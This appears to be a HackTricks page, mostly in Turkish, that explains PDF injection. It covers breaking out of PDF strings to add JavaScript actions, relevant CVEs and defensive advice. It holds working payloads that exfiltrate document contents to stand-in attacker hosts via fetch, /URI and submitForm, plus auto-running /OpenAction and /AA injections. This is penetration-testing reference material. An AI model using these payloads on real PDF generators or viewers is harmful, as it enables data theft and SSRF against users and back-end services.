PDF Injection
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak, SSRF yapmak veya PDF içeriğini çalmak için PDF verisi enjeksiyonu deneyebilirsiniz. PDF syntax son derece hoşgörülüdür – eğer girdinizi gömen string veya dictionary’den çıkabilirseniz, Acrobat/Chrome’un rahatlıkla parse edeceği tamamen yeni objects (veya aynı object içinde yeni anahtarlar) ekleyebilirsiniz. 2024’ten beri bir dalga bug-bounty raporu, tek bir unescaped parenthesis veya back-slash’in tam script çalıştırma için yeterli olduğunu gösterdi.
TL;DR – Modern Saldırı İş Akışı (2024-2026)
- Oluşturulan PDF’te sonlanan herhangi bir kullanıcı kontrollü değeri bulun: (parenthesis string),
/URI ( … )veya/JS ( … )alanı içinde. )(string’i kapatan) karakterini enjekte edin, ardından aşağıdaki primitiflerden biriyle devam edin ve sözdizimini geçerli tutmak için başka bir açılış parantezi ile bitirin.- Zararlı PDF’i bir kurbana teslim edin (veya dosyayı otomatik olarak render eden bir backend servisine — blind bugs için çok uygun).
- Payload’ınız PDF görüntüleyicisinde çalışır:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
İlk ) orijinal URI string’ini kapatır, ardından kullanıcı linke tıkladığında Acrobat’ın çalıştıracağı yeni bir Action dictionary’si ekleriz.
Kullanışlı Injection Primitives
| Amaç | Payload Snippet | Notlar |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Belge açıldığında anında çalışır (Acrobat’ta çalışır, Chrome’da çalışmaz). |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Eğer bir /Link annotation’a sahipseniz PDFium ve Acrobat’ta çalışır. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | JS içinde this.getPageNthWord ile birleştirerek içeriği çalın. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | Yukarıdakine benzer, fakat hedef iç ağ URL’si — PDF’nin /URI’yi tanıyan arka ofis hizmetleri tarafından render edildiği durumlarda çok etkilidir. |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | Açılış/odaklanma sırasında çalışması için Page/Annotation/Form dictionary’sine ekleyin. |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Eğer kütüphane yeni satır karakterleri enjekte etmenize izin veriyorsa tamamen yeni objeler oluşturabilirsiniz. |
Gömülü Actions Injection Hedefleri
PDF görüntüleyicileri, bir belge açıldığında veya belirli bir olay tetiklendiğinde çalıştırılabilecek /OpenAction ve /AA (Additional Actions) gibi embedded actions’ı birinci sınıf özellikler olarak ele alır. Eğer actions kabul eden herhangi bir dictionary’ye (Catalog, Page, Annotation veya Form field) enjeksiyon yapabiliyorsanız, bir /AA tree ekleyip açılış/odaklanma sırasında JavaScript tetikleyebilirsiniz.
Örnek payload for generator-side object injection (orijinal string/dictionary’yi kapatıp /AA inject edin):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Bu desen, saldırgan tarafından kontrol edilen girdinin addJS (veya belirli AcroForm alanları) içine geçirilip amaçlanan JavaScript dizesinden çıkarak bir Additional Action sözlüğü enjekte ettiği son jsPDF sorunlarıyla eşleşir.
Blind Enumeration Trick
Gareth Heyes (PortSwigger), bilinmeyen bir belge içindeki her nesneyi listeleyen tek satırlık bir komut paylaştı — oluşturulan PDF’i göremediğinizde kullanışlı:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Kod, Acrobat DOM üzerinde iterasyon yapar ve her property/value çifti için dışa giden istekler yapar; bu, dosyanın JSON-benzeri dökümünü verir. Tam teknik için “Portable Data exFiltration” white-paper’ına bakın.
Gerçek Dünya Hataları (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: saldırgan kontrollü dizeler JS literalini kapatıp/AA→/O→/JavaScripteylemlerini enjekte edebilir; bunlar açılış/odaklanma sırasında tetiklenir. - CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 bypassed the sandbox with a crafted
/JavaScriptaction. - Bug bounty 2024-05 – Büyük bir fintech, müşteri tarafından sağlanan fatura notlarının
/URI’ye düştüğüne izin verdi; rapor,file:///URI kullanılarak dahili metadata host’una gösterilen SSRF sonrası $10k ödendi. - CVE-2023-26155 –
node-qpdfcommand-injection via unsanitised PDF path shows the importance of escaping backslashes and parentheses even before the PDF layer.
Savunma Cheatsheet
- Never concatenate raw user input inside
(…)strings or names. Escape\,(,)as required by §7.3 of the PDF spec or use hex strings<...>. - If you build links, prefer
/URI (https://…)that you fully URL-encode; blockjavascript:schemes in client viewers. - Strip or validate
/OpenAction,/AA(additional actions),/Launch,/SubmitFormand/ImportDatadictionaries when post-processing PDFs. - On the server side, render untrusted PDFs with a headless converter (e.g. qpdf –decrypt –linearize) that removes JavaScript and external actions.
- Keep PDF viewers up to date; PDF.js < 4.2.67 and Acrobat Reader before July 2024 patches allow trivial code execution.
- If you use client-side generators (e.g., jsPDF), never pass untrusted input into
addJSor AcroForm setters that end up inside PDF action dictionaries.
Referanslar
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (May 2024, güncellendi). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (Feb 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (Sep 2025) – gömülü eylemler (OpenAction/AA). https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


